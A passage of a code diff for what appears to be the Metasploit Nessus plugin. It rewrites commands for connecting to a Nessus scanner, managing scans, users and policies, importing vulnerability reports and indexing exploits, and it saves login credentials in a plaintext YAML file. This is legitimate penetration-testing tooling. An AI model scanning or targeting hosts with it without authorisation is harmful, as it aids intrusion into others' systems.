Commands", "" ] + tbl << [ "-----------------", "-----------------" ] + tbl << [ "nessus_db_scan", "Create a scan of all IP addresses in db_hosts" ] + tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ] + tbl << [ "", ""] + tbl << [ "Reports Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] + tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] + tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ] + tbl << [ "", ""] + tbl << [ "Scan Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_scan_list", "List of all current Nessus scans" ] + tbl << [ "nessus_scan_new", "Create a new Nessus Scan" ] + tbl << [ "nessus_scan_lauch", "Launch a newly created scan. New scans need to be manually launched through this command" ] + tbl << [ "nessus_scan_pause", "Pause a running Nessus scan" ] + tbl << [ "nessus_scan_pause_all", "Pause all running Nessus scans" ] + tbl << [ "nessus_scan_stop", "Stop a running or paused Nessus scan" ] + tbl << [ "nessus_scan_stop_all", "Stop all running or paused Nessus scans" ] + tbl << [ "nessus_scan_resume", "Resume a pasued Nessus scan" ] + tbl << [ "nessus_scan_resume_all", "Resume all paused Nessus scans" ] + tbl << [ "nessus_scan_details", "Return detailed information of a given scan" ] + tbl << [ "nessus_scan_export", "Export a scan result in either Nessus, HTML, PDF, CSV, or DB format" ] + tbl << [ "nessus_scan_export_status", "Check the status of an exported scan" ] + tbl << [ "", ""] + tbl << [ "Plugin Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_plugin_list", "List all plugins in a particular plugin family." ] + tbl << [ "nessus_family_list", "List all the plugin families along with their corresponding family IDs and plugin count." ] + tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] + tbl << [ "", ""] + tbl << [ "User Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_user_list", "Show Nessus Users" ] + tbl << [ "nessus_user_add", "Add a new Nessus User" ] + tbl << [ "nessus_user_del", "Delete a Nessus User" ] + tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] + tbl << [ "", ""] + tbl << [ "Policy Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_policy_list", "List all polciies" ] + tbl << [ "nessus_policy_del", "Delete a policy" ] + print_line "" + print_line tbl.to_s + print_line "" + end + + def ncusage + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status("nessus_connect username:password@hostname:port ") + print_status("Example:> nessus_connect msf:msf@192.168.1.10:8834") + print_status("OR") + print_status("nessus_connect username@hostname:port ssl_verify") + print_status("Example:> nessus_connect msf@192.168.1.10:8834 ssl_verify") + print_status("OR") + print_status("nessus_connect hostname:port ssl_verify") + print_status("Example:> nessus_connect 192.168.1.10:8834 ssl_verify") + print_status("OR") + print_status("nessus_connect") + print_status("Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + return + end + + #creates the index of exploit details to make searching for exploits much faster. + def create_xindex + start = Time.now + print_status("Creating Exploit Search Index - (#{xindex}) - this won't take long.") count = 0 - # use Msf::Config.get_config_root as the location. - File.open("#{@xindex}", "w+") do |f| + #Use Msf::Config.get_config_root as the location. + File.open("#{xindex}", "w+") do |f| #need to add version line. f.puts(Msf::Framework::RepoRevision) framework.exploits.sort.each { |refname, mod| - stuff = "" - o = nil - begin - o = mod.new - rescue ::Exception - end - stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" - next if not o + stuff = "" + o = nil + begin + o = mod.new + rescue ::Exception + end + stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" + next if not o o.references.map do |x| if !(x.ctx_id == "URL") if (x.ctx_id == "MSB") @@ -40,250 +200,22 @@ module Msf end total = Time.now - start print_status("It has taken : #{total} seconds to build the exploits search index") - end - - def nessus_index - if File.exist?("#{@xindex}") - #check if it's version line matches current version. - File.open("#{@xindex}") {|f| - line = f.readline - line.chomp! - if line.to_i == Msf::Framework::RepoRevision - print_good("Exploit Index - (#{@xindex}) - is valid.") - else - create_xindex - end - } - else - create_xindex end - end - - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nessus" - end - - def commands - { - "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port .", - "nessus_admin" => "Checks if user is an admin.", - "nessus_help" => "Get help on all commands.", - "nessus_logout" => "Terminate the session.", - "nessus_server_status" => "Check the status of your Nessus Server.", - "nessus_server_feed" => "Nessus Feed Type.", - "nessus_server_prefs" => "Display Server Prefs.", - "nessus_report_list" => "List all Nessus reports.", - "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", - "nessus_report_del" => "Delete a report.", - "nessus_report_vulns" => "Get list of vulns from a report.", - "nessus_report_hosts" => "Get list of hosts from a report.", - "nessus_report_host_ports" => "Get list of open ports from a host from a report.", - "nessus_report_host_detail" => "Detail from a report item on a host.", - "nessus_scan_status" => "List all currently running Nessus scans.", - "nessus_scan_new" => "Create new Nessus Scan.", - "nessus_scan_pause" => "Pause a Nessus Scan.", - "nessus_scan_pause_all" => "Pause all Nessus Scans.", - "nessus_scan_stop" => "Stop a Nessus Scan.", - "nessus_scan_stop_all" => "Stop all Nessus Scans.", - "nessus_scan_resume" => "Resume a Nessus Scan.", - "nessus_scan_resume_all" => "Resume all Nessus Scans.", - "nessus_user_list" => "Show Nessus Users.", - "nessus_user_add" => "Add a new Nessus User.", - "nessus_user_del" => "Delete a Nessus User.", - "nessus_user_passwd" => "Change Nessus Users Password.", - "nessus_plugin_family" => "List plugins in a family.", - "nessus_plugin_details" => "List details of a particular plugin.", - "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", - "nessus_plugin_prefs" => "Display Plugin Prefs.", - "nessus_policy_list" => "List all polciies.", - "nessus_policy_del" => "Delete a policy.", - "nessus_index" => "Manually generates a search index for exploits.", - "nessus_template_list" => "List all the templates on the server.", - "nessus_db_scan" => "Create a scan of all ips in db_hosts.", - "nessus_save" => "Save username/passowrd/server/port details." + + def nessus_index + if File.exist?("#{xindex}") + #check if it's version line matches current version. + File.open("#{xindex}") { |f| + line = f.readline + line.chomp! + if line.to_i == Msf::Framework::RepoRevision + print_good("Exploit Index - (#{xindex}) - is valid.") + else + create_xindex + end } - end - - def cmd_nessus_index - Msf::Plugin::Nessus.nessus_index - end - - def cmd_nessus_save(*args) - #if we are logged in, save session details to nessus.yaml - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nessus_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = Hash.new - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - File.open("#{@nessus_yaml}", "w+") do |f| - f.puts YAML.dump(config) - end - print_good("#{@nessus_yaml} created.") - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nessus_db_scan(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_db_scan ") - print_status(" Example:> nessus_db_scan 1 \"My Scan\"") - print_status() - print_status("Creates a scan based on all the hosts listed in db_hosts.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - pid = args[0].to_i - name = args[1] - else - print_status("Usage: ") - print_status(" nessus_db_scan ") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - tgts = "" - framework.db.hosts(framework.db.workspace).each do |host| - tgts << host.address - tgts << "," - end - - tgts.chop! - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - - end - - def cmd_nessus_logout - @token = nil - print_status("Logged out") - system("rm #{@nessus_yaml}") - print_good("#{@nessus_yaml} removed.") - return - end - - def cmd_nessus_help(*args) - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - "Command", - "Help Text" - ], - 'SortIndex' => -1 - ) - tbl << [ "Generic Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_connect", "Connect to a nessus server" ] - tbl << [ "nessus_save", "Save nessus login info between sessions" ] - tbl << [ "nessus_logout", "Logout from the nessus server" ] - tbl << [ "nessus_help", "Listing of available nessus commands" ] - tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] - tbl << [ "nessus_admin", "Checks if user is an admin" ] - tbl << [ "nessus_server_feed", "Nessus Feed Type" ] - tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] - tbl << [ "nessus_server_prefs", "Display Server Prefs" ] - tbl << [ "", ""] - tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_report_list", "List all Nessus reports" ] - tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] - tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] - tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] - tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] - tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] - tbl << [ "", ""] - tbl << [ "Scan Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] - tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] - tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] - tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] - tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] - tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] - tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] - tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] - tbl << [ "", ""] - tbl << [ "Plugin Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] - tbl << [ "nessus_plugin_family", "List plugins in a family" ] - tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] - tbl << [ "", ""] - tbl << [ "User Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_user_list", "Show Nessus Users" ] - tbl << [ "nessus_user_add", "Add a new Nessus User" ] - tbl << [ "nessus_user_del", "Delete a Nessus User" ] - tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] - tbl << [ "", ""] - tbl << [ "Policy Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_policy_list", "List all polciies" ] - tbl << [ "nessus_policy_del", "Delete a policy" ] - print_status "" - print_line tbl.to_s - print_status "" - end - - def cmd_nessus_server_feed(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_feed") - print_status(" Example:> nessus_server_feed") - print_status() - print_status("Returns information about the feed type and server version.") - return - end - - if nessus_verify_token - @feed, @version, @web_version = @n.feed - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Feed', - 'Nessus Version', - 'Nessus Web Version' - ]) - tbl << [@feed, @version, @web_version] - print_good("Nessus Status") - print_good "\n" - print_line tbl.to_s + create_xindex end end @@ -295,39 +227,11 @@ module Msf true end - def nessus_verify_db - - if ! (framework.db and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - true - end - - def ncusage - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port ") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port ") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port ") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - return - end - def cmd_nessus_connect(*args) # Check if config file exists and load it - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if ! args[0] - if File.exist?("#{@nessus_yaml}") - lconfig = YAML.load_file("#{@nessus_yaml}") + if !args[0] + if File.exist?(nessus_yaml) + lconfig = YAML.load_file(nessus_yaml) @user = lconfig['default']['username'] @pass = lconfig['default']['password'] @host = lconfig['default']['server'] @@ -339,43 +243,29 @@ module Msf return end end - + if args[0] == "-h" print_status("%redYou must do this before any other commands.%clr") print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port ") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port ") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port ") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - print_status() + print_status("nessus_connect username:password@hostname:port ") print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") - print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") - print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") - print_status("The \"ok\" on the end is important. It is a way of letting you") - print_status("know that nessus used a self signed cert and the risk that presents.") + print_status("%bldhostname%clr can be an IP address or a DNS name of the Nessus server.") + print_status("%bldport%clr is the RPC port that the Nessus web front end runs on. By default it is TCP port 8834.") + print_status("The \"ssl_verify\" to verify the SSL certificate used by the Nessus front end. By default the server") + print_status("use a self signed certificate, therefore, users should use ssl_ignore.") return end - - if ! @token == '' - print_error("You are already authenticated. Call nessus_logout before authing again") + + if !@token == '' + print_error("You are already authenticated. Call nessus_logout before authenticating again") return end - if(args.length == 0 or args[0].empty?) ncusage return end - + @user = @pass = @host = @port = @sslv = nil - case args.length when 1,2 if args[0].include? "@" @@ -390,7 +280,6 @@ module Msf @port ||= '8834' @sslv = args[1] end - when 3,4,5 ncusage return @@ -398,656 +287,433 @@ module Msf ncusage return end - if /\/\//.match(@host) ncusage return end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - if ! @user + if !@user print_error("Missing Username") ncusage return end - - if ! @pass + if !@pass print_error("Missing Password") ncusage return end - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + if !((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) ncusage return end nessus_login end - def nessus_login + def cmd_nessus_logout + logout = @n.user_logout + status = logout.to_s + if status == "200" + print_good("User account logged out successfully") + @token = "" + elsif status == "403" + print_status("No user session to logout") + else + print_error("There was some problem in logging out the user #{@user}") + end + return + end - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + def nessus_login + if !((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) print_status("You need to connect to a server first.") ncusage return end - @url = "https://#{@host}:#{@port}/" print_status("Connecting to #{@url} as #{@user}") - @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) - @token=@n.login(@user,@pass) - if @n.logged_in - print_status("Authenticated") + @n = Nessus::Client.new(@url, @user, @pass,@sslv) + if @n.authenticated + print_status("User #{@user} authenticated successfully.") + @token = 1 else print_error("Error connecting/logging to the server!") return end end - def cmd_nessus_report_list(*args) - + def cmd_nessus_save(*args) + #if we are logged in, save session details to nessus.yaml if args[0] == "-h" + print_status(" nessus_save") + return + end + if args[0] print_status("Usage: ") - print_status(" nessus_report_list") - print_status(" Example:> nessus_report_list") - print_status() - print_status("Generates a list of all reports visable to your user.") + print_status("nessus_save") return end - - if ! nessus_verify_token - return - end - - list=@n.report_list_hash - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Status', - 'Date' - ]) - - list.each {|report| - t = Time.at(report['timestamp'].to_i) - tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus Report List") - print_good "\n" - print_line tbl.to_s + "\n" - print_status("You can:") - print_status(" Get a list of hosts from the report: nessus_report_hosts ") - end - - def check_scan(*args) - - case args.length - when 1 - rid = args[0] - else - print_error("No Report ID Supplied") - return - end - - scans = @n.scan_list_hash - scans.each {|scan| - if scan['id'] == rid - return true + group = "default" + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = Hash.new + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + File.open("#{nessus_yaml}", "w+") do |f| + f.puts YAML.dump(config) end - } - return false - end - - def cmd_nessus_report_get(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("This command pulls the provided report from the nessus server in the nessusv2 format") - print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") - print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") - print_status("Use: nessus_report_list to obtain a list of report id's") - return - end - - if ! nessus_verify_token - return - end - - if ! nessus_verify_db - return - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - rid = nil - - case args.length - when 1 - rid = args[0] + print_good("#{nessus_yaml} created.") else - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" use nessus_report_list to list all available reports for importing") + print_error("Missing username/password/server/port - relogin and then try again.") return end - - if check_scan(rid) - print_error("That scan is still running.") - return - end - content = nil - content=@n.report_file_download(rid) - if content.nil? - print_error("Failed, please reauthenticate") - return - end - print_status("importing " + rid) - framework.db.import({:data => content}) do |type,data| - case type - when :address - print_line("%bld%blu[*]%clr %bld#{data}%clr") - end - end - print_good("Done") end - def cmd_nessus_scan_status(*args) - + def cmd_nessus_server_properties(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_status") - print_status(" Example:> nessus_scan_status") + print_status("nessus_server_feed") + print_status("Example:> nessus_server_feed") print_status() - print_status("Returns a list of information about currently running scans.") + print_status("Returns information about the feed type and server version.") return end - - if ! nessus_verify_token - return - end - - list=@n.scan_list_hash - if list.empty? - print_status("No Scans Running.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a scan: nessus_scan_new ") - return - end - + resp = @n.server_properties tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Scan ID', - 'Name', - 'Owner', - 'Started', - 'Status', - 'Current Hosts', - 'Total Hosts' + 'Feed', + 'Type', + 'Nessus Version', + 'Nessus Web Version', + 'Plugin Set', + 'Server UUID' ]) - - list.each {|scan| - t = Time.at(scan['start'].to_i) - tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] - } - print_good("Running Scans") - print_good "\n" - print_line tbl.to_s - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get ") - print_good(" Pause a nessus scan : nessus_scan_pause ") - end - - def cmd_nessus_template_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_template_list") - print_status(" Example:> nessus_template_list") - print_status() - print_status("Returns a list of information about the server templates..") - return - end - - if ! nessus_verify_token - return - end - - list=@n.template_list_hash - - if list.empty? - print_status("No Templates Created.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a template: nessus_template_new ") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Template ID', - 'Policy ID', - 'Name', - 'Owner', - 'Target' - ]) - - list.each {|template| - tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] - } - print_good("Templates") - print_good "\n" - print_line tbl.to_s + "\n" - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get ") - end - - def cmd_nessus_user_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_list") - print_status(" Example:> nessus_user_list") - print_status() - print_status("Returns a list of the users on the Nessus server and their access level.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_status("Your Nessus user is not an admin") - end - - list=@n.users_list - print_good("There are #{list.length} users") - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Is Admin?', - 'Last Login' - ]) - - list.each {|user| - t = Time.at(user['lastlogin'].to_i) - tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus users") - print_good "\n" + tbl << [ resp["feed"], resp["nessus_type"], resp["server_version"], resp["nessus_ui_version"], resp["loaded_plugin_set"], resp["server_uuid"] ] print_line tbl.to_s end def cmd_nessus_server_status(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_status") - print_status(" Example:> nessus_server_status") + print_status("nessus_server_status") + print_status("Example:> nessus_server_status") print_status() print_status("Returns some status items for the server..") return end - #Auth - if ! nessus_verify_token - return - end - - #Check if we are an admin - if ! @n.is_admin - print_status("You need to be an admin for this.") - return - end - - #Versions - cmd_nessus_server_feed - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Users', - 'Policies', - 'Running Scans', - 'Reports', - 'Plugins' + 'Status', + 'Progress' ]) - #Count how many users the server has. - list=@n.users_list - users = list.length - - #Count how many policies - list=@n.policy_list_hash - policies = list.length - - #Count how many running scans - list=@n.scan_list_uids - scans = list.length - - #Count how many reports are available - list=@n.report_list_hash - reports = list.length - - #Count how many plugins - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - } - plugins = total.sum - tbl << [users, policies, scans, reports, plugins] - print_good "\n" + list = @n.server_status + tbl << [ list["progress"], list["status"] ] print_line tbl.to_s end - def cmd_nessus_plugin_list(*args) - + def cmd_nessus_admin(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_list") - print_status(" Example:> nessus_plugin_list") + print_status("nessus_admin") + print_status("Example:> nessus_admin") print_status() - print_status("Returns a list of the plugins on the server per family.") + print_status("Checks to see if the current user is an admin") + print_status("Use nessus_user_list to list all users") return end - - if ! nessus_verify_token + if !nessus_verify_token return end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + else + print_good("Your Nessus user is an admin") + end + end + def cmd_nessus_template_list(*args) + if args[0] == "-h" + print_status("nessus_template_list | ") + print_status("Example:> nessus_template_list scan") + print_status("OR") + print_status("nessus_template_list policy") + print_status() + print_status("Returns a list of information about the scan or policy templates..") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + type = args[0] + else + print_status("Usage: ") + print_status("nessus_template_list | ") + print_status("Example:> nessus_template_list scan") + print_status("OR") + print_status("nessus_template_list policy") + print_status() + print_status("Returns a list of information about the scan or policy templates..") + return + end + if type.in?(['scan', 'policy']) + list=@n.list_template(type) + else + print_error("Only scan and policy are valid templates") + return + end + if list.empty? + print_status("No templates created") + return + end tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Family Name', - 'Total Plugins' + 'Name', + 'Title', + 'Description', + 'Subscription Only', + 'Cloud Only' ]) - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - tbl << [ plugin['name'], plugin['num'] ] + list["templates"].each { |template| + tbl << [ template["name"], template["title"], template["desc"], template["subscription_only"], template["cloud_only"] ] } - plugins = total.sum - tbl << [ '', ''] - tbl << [ 'Total Plugins', plugins ] - print_good("Plugins By Family") - print_good "\n" + print_line print_line tbl.to_s - print_status("List plugins for a family : nessus_plugin_family ") end - def check_policy(*args) - - case args.length - when 1 - pid = args[0] - else - print_error("No Policy ID supplied.") + def cmd_nessus_folder_list + if !nessus_verify_token return end - - pol = @n.policy_list_hash - pol.each {|p| - if p['id'].to_i == pid - return false - end + list = @n.list_folders + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "ID", + "Name", + "Type" + ]) + list["folders"].each { |folder| + tbl << [ folder["id"], folder["name"], folder["type"] ] } - return true + print_line + print_line tbl.to_s end - def cmd_nessus_scan_new(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_new ") - print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") - print_status() - print_status("Creates a scan based on a policy id and targets.") - print_status("use nessus_policy_list to list all available policies") + def cmd_nessus_scanner_list + if !nessus_verify_token return end - - if ! nessus_verify_token + if !@n.is_admin return end - - case args.length - when 3 - pid = args[0].to_i - name = args[1] - tgts = args[2] - else - print_status("Usage: ") - print_status(" nessus_scan_new ") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end + list = @n.list_scanners + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "ID", + "Name", + "Status", + "Platform", + "Plugin Set", + "UUID" + ]) + list.each { |scanner| + tbl << [ scanner["id"], scanner["name"], scanner["status"], scanner["platform"], scanner["loaded_plugin_set"], scanner["uuid"] ] + } + print_line tbl.to_s end - def cmd_nessus_scan_pause(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause ") - print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Pauses a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - + def check_scan(*args) case args.length when 1 - sid = args[0] + scan_id = args[0] else - print_status("Usage: ") - print_status(" nessus_scan_pause ") - print_status(" use nessus_scan_status to list all available scans") + print_error("No scan ID supplied") return end - - pause = @n.scan_pause(sid) - - print_status("#{sid} has been paused") - end - - def cmd_nessus_scan_resume(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume ") - print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("resumes a running scan") - print_status("use nessus_scan_status to list all available scans") - return + scans = @n.scan_list + scans.each { |scan| + if scan["scans"]["id"] == scan_id && scan["scans"]["status"] == "completed" + return true end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_resume ") - print_status(" use nessus_scan_status to list all available scans") - return - end - - resume = @n.scan_resume(sid) - - print_status("#{sid} has been resumed") + } + return false end def cmd_nessus_report_hosts(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_hosts ") - print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") - print_status("use nessus_report_list to list all available scans") + print_status("nessus_report_hosts ") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - - if ! nessus_verify_token - return - end - case args.length when 1 - rid = args[0] + scan_id = args[0] + scan_id = scan_id else print_status("Usage: ") - print_status(" nessus_report_hosts ") - print_status(" use nessus_report_list to list all available reports") + print_status("nessus_report_hosts ") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Hostname', - 'Severity', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3', - 'Current Progress', - 'Total Progress' + "Host ID", + "Hostname", + "% of Critical Findings", + "% of High Findings", + "% of Medium Findings", + "% of Low Findings" ]) - hosts=@n.report_hosts(rid) - hosts.each {|host| - tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] - } - print_good("Report Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports ") + if is_scan_complete(scan_id) + details = @n.scan_details(scan_id) + details["hosts"].each { |host| + tbl << [ host["host_id"], host["hostname"], host["critical"], host["high"], host["medium"], host["low"] ] + } + print_line + print_line tbl.to_s + else + print_error("Only completed scans can be used for host reporting") + return + end end def cmd_nessus_report_vulns(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_vulns ") - print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") - print_status("use nessus_report_list to list all available scans") + print_status("nessus_report_vulns ") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - - if ! nessus_verify_token - return - end - case args.length when 1 - rid = args[0] + scan_id = args[0] + scan_id = scan_id.to_i else print_status("Usage: ") - print_status(" nessus_report_vulns ") - print_status(" use nessus_report_vulns to list all available reports") + print_status("nessus_report_vulns ") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Hostname', - 'Port', - 'Proto', - 'Sev', - 